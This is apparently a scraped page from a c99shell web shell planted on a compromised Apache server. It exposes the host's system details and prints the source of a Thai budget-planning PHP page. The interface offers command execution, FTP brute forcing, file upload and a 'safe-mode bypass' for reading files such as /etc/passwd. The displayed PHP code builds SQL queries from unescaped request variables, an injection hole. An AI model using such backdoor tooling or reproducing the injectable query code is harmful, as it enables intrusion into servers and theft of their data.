!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/   drwxr-xr-x
Free 51.23 GB of 127.8 GB (40.08%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     PlaningDetail1.php (9.11 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
 
   
include("./Include/FunctionDB.php");
  include(
"./Include/Function.php");

  
ConnectDB();
$sql =  " SELECT * FROM  project_type_tb Where Project_code='$Project_code' ";
$result mysql_query($sql) or die("Select Has Error").mysql_error();
$rs mysql_fetch_array($result);
?>

<html>
<head>
<title>ข้อมูลแผนดำเนินการ</title>
<link href="./source/style.css" rel="stylesheet" type="text/css">
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">

<style type="text/css">
<!--
.style6 {font-size: 14px}
.style17 {font-family: Tahoma; font-size: 16px; }
.style18 {font-family: Tahoma}
.style29 {font-family: Tahoma; font-size: 14px; font-weight: bold; }
.style32 {font-size: 14px; font-family: Tahoma;}
-->
</style>
</head>


<table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <th width="806" scope="col"><form name="form1" method="post" action="">
      <table width="100%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#E0E0E0">
        <tr bgcolor="#ECD9C6">
          <td height="31" colspan="3"><div align="center"><strong><font color="#000000" size="4" face="Tahoma">แสดงรายละเอียดของแผนดำเนินการ </font></strong></div></td>
        </tr>
        <tr bgcolor="#EEEEEE">
          <td><font color="#003366" size="2" face="Tahoma">รหัสหน่วยงาน</font></td>
          <td bordercolor="#006699">&nbsp;</td>
          <td bordercolor="#006699"><font color="#0033CC" size="2" face="Tahoma">
            <?php
         $Faculty_code 
=  $rs["Faculty_code"];
         
$sql "Select * From faculty_tb Where Faculty_code='$Faculty_code' ";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rss mysql_fetch_array($result1);
          echo 
"$rss[Faculty_code]    $rss[Faculty_name]";
         
?>
          </font> </td>
        </tr>
        <tr bgcolor="#EEEEEE">
          <td><font color="#003366" size="2" face="Tahoma">รหัสของแผน</font></td>
          <td bordercolor="#006699">&nbsp;</td>
          <td bordercolor="#006699"><font color="#0033CC" size="2" face="Tahoma"><? echo $rs[Orderlist]?></font></td>
        </tr>
        <tr bgcolor="#EEEEEE">
          <td><font color="#000066" size="2" face="Tahoma">ชื่อหัวข้อแผนดำเนินการ</font></td>
          <td bordercolor="#006699">&nbsp;</td>
          <td bordercolor="#006699"><font color="#0033CC" size="2" face="Tahoma"><? echo $rs[Project_plan]?></font></td>
        </tr>
        <tr bgcolor="#EEEEEE">
          <td><font color="#003366" size="2" face="Tahoma">ข้อแผนดำเนินการ</font></td>
          <td bordercolor="#006699">&nbsp;</td>
          <td bordercolor="#006699"><font color="#0033CC" size="2" face="Tahoma"><? echo $rs[Orderlist_2]?></font></td>
        </tr>
        <tr bgcolor="#EEEEEE">
          <td width="27%"><font color="#000066" size="2" face="Tahoma">รายละเอียดของแผนดำเนินการ</font></td>
          <td width="1%" bordercolor="#006699">&nbsp;</td>
          <td width="72%" bordercolor="#006699"><font color="#0033CC" size="2" face="Tahoma"><? echo $rs[Project_name]?></font> </td>
        </tr>
        <tr bgcolor="#EEEEEE">
          <td><font color="#003366" size="2" face="Tahoma">หมวดเงิน</font></td>
          <td bordercolor="#006699">&nbsp;</td>
          <td bordercolor="#006699"><font color="#0033CC" size="2" face="Tahoma"><? echo $rs[Percent_ans]?></font></td>
        </tr>
        <tr bgcolor="#EEEEEE">
          <td bgcolor="#EEEEEE"><font color="#003366" size="2" face="Tahoma">วันที่เริ่งดำเนินการ</font></td>
          <td>&nbsp;</td>
          <td><div align="left"> <font size="2" face="Tahoma">วันเริ่มต้น </font> <font color="#0033CC" size="2" face="Tahoma"><? echo $rs[Date_start]?></font><font size="2" face="Tahoma">&nbsp;&nbsp;วันสิ้นสุด </font><font color="#0033CC" size="2" face="Tahoma"><? echo $rs[Date_finish]?></font></div></td>
        </tr>
        <tr bgcolor="#EEEEEE">
          <td><font color="#003366" size="2" face="Tahoma">ปีงบประมาณ พ.ศ.</font></td>
          <td bordercolor="#006699">&nbsp;</td>
          <td bordercolor="#006699"><font color="#003366" size="2" face="Tahoma">&nbsp; </font><font color="#0033CC" size="2" face="Tahoma"><? echo $rs[Budget_Year]?></font><font color="#003366" size="2" face="Tahoma">&nbsp; </font></td>
        </tr>
        <tr bgcolor="#EEEEEE">
          <td><font color="#003366" size="2" face="Tahoma">ปีการศึกษา พ.ศ.</font></td>
          <td bordercolor="#006699">&nbsp;</td>
          <td bordercolor="#006699"><font color="#003366" size="2" face="Tahoma">&nbsp; </font><font color="#0033CC" size="2" face="Tahoma"><? echo $rs[Term]?></font><font color="#003366" size="2" face="Tahoma">&nbsp; </font></td>
        </tr>
        <tr bgcolor="#EEEEEE">
          <td><font color="#003366" size="2" face="Tahoma">กลุ่มเป้าหมาย จำนวน</font></td>
          <td bordercolor="#006699">&nbsp;</td>
          <td bordercolor="#006699"><font color="#003366" size="2" face="Tahoma">&nbsp; </font><font color="#0033CC" size="2" face="Tahoma"><? echo $rs[Period]?></font></td>
        </tr>
        <tr bgcolor="#EEEEEE">
          <td height="140"><span class="style6"><font color="#003366" face="Tahoma">งบประมาณแต่ละเดือน</font></span></td>
          <td bordercolor="#006699">&nbsp;</td>
          <td bordercolor="#006699"><table width="424" border="0" align="center" cellpadding="0" cellspacing="1">
              <tr>
                <th width="91" scope="col"><div align="center" class="style32"> มกราคม</div></th>
                <th width="129" scope="col"><div align="left" class="style29"> <font color="#0033CC"><? echo $rs[January]?></font> บาท</div></th>
                <th width="77" scope="col"><div align="center" class="style32">กรฏาคม</div></th>
                <th width="115" scope="col"><div align="left" class="style29"> <font color="#0033CC"><? echo $rs[July]?></font> บาท</div></th>
                <th width="12" scope="col">&nbsp;</th>
              </tr>
              <tr>
                <th scope="col"><div align="center" class="style32">กุมภาพันธ์</div></th>
                <th scope="col"><div align="left" class="style29"> <font color="#0033CC"><? echo $rs[February]?></font> บาท </div></th>
                <th scope="col"><div align="center" class="style32">สิงหาคม</div></th>
                <th scope="col"><div align="left" class="style29"> <font color="#0033CC"><? echo $rs[Augus]?></font> บาท </div></th>
                <td>&nbsp;</td>
              </tr>
              <tr>
                <th scope="col"><div align="center" class="style32">มีนาคม</div></th>
                <th scope="col"><div align="left" class="style29"> <font color="#0033CC"><? echo $rs[March]?></font> บาท </div></th>
                <th scope="col"><div align="center" class="style32">กันยายน</div></th>
                <th scope="col"><div align="left" class="style29"> <font color="#0033CC"><? echo $rs[September]?></font> บาท </div></th>
                <td>&nbsp;</td>
              </tr>
              <tr>
                <th scope="col"><div align="center" class="style32">เมษายน</div></th>
                <th scope="col"><div align="left" class="style29"> <font color="#0033CC"><? echo $rs[April]?></font> บาท </div></th>
                <th scope="col"><div align="center" class="style32">ตุลาคม</div></th>
                <th scope="col"><div align="left" class="style29"> <font color="#0033CC"><? echo $rs[October]?></font> บาท </div></th>
                <td>&nbsp;</td>
              </tr>
              <tr>
                <th scope="col"><div align="center" class="style32">พฤษภาคม</div></th>
                <th scope="col"><div align="left" class="style29"> <font color="#0033CC"><? echo $rs[May]?></font> บาท </div></th>
                <th scope="col"><div align="center" class="style32">พฤศจิกายน</div></th>
                <th scope="col"><div align="left" class="style29"> <font color="#0033CC"><? echo $rs[November]?></font> บาท </div></th>
                <td>&nbsp;</td>
              </tr>
              <tr>
                <th scope="col"><div align="center" class="style32">มิถุนายน</div></th>
                <th scope="col"><div align="left" class="style29"> <font color="#0033CC"><? echo $rs[June]?></font> บาท </div></th>
                <th scope="col"><div align="center" class="style32">ธันวาคม</div></th>
                <th scope="col"><div align="left" class="style29"> <font color="#0033CC"><? echo $rs[December]?></font> บาท </div></th>
                <td>&nbsp;</td>
              </tr>
          </table></td>
        </tr>
        <tr bgcolor="#EEEEEE">
          <td height="22"><span class="style6"><font color="#003366" face="Tahoma">ยอดรวม</font></span></td>
          <td bordercolor="#006699">&nbsp;</td>
          <td align="center" bordercolor="#006699"><div align="left"><strong> <font color="#0033CC" face="Tahoma" class="style17"><span class="style18"><font color="#0033CC" face="Tahoma"><? echo $rs[Budget_use]?></font></span> บาท</font> </strong></div></td>
        </tr>
        <tr bgcolor="#ECD9C6">
          <td colspan="3"><div align="center">
            <input type="button" name="close2" value="ปิดหน้าต่าง" onClick="window.close()">
            &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </div></td>
        </tr>
      </table>
        </form>
    </th>
  </tr>
</table>
<p>&nbsp;</p>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0173 ]--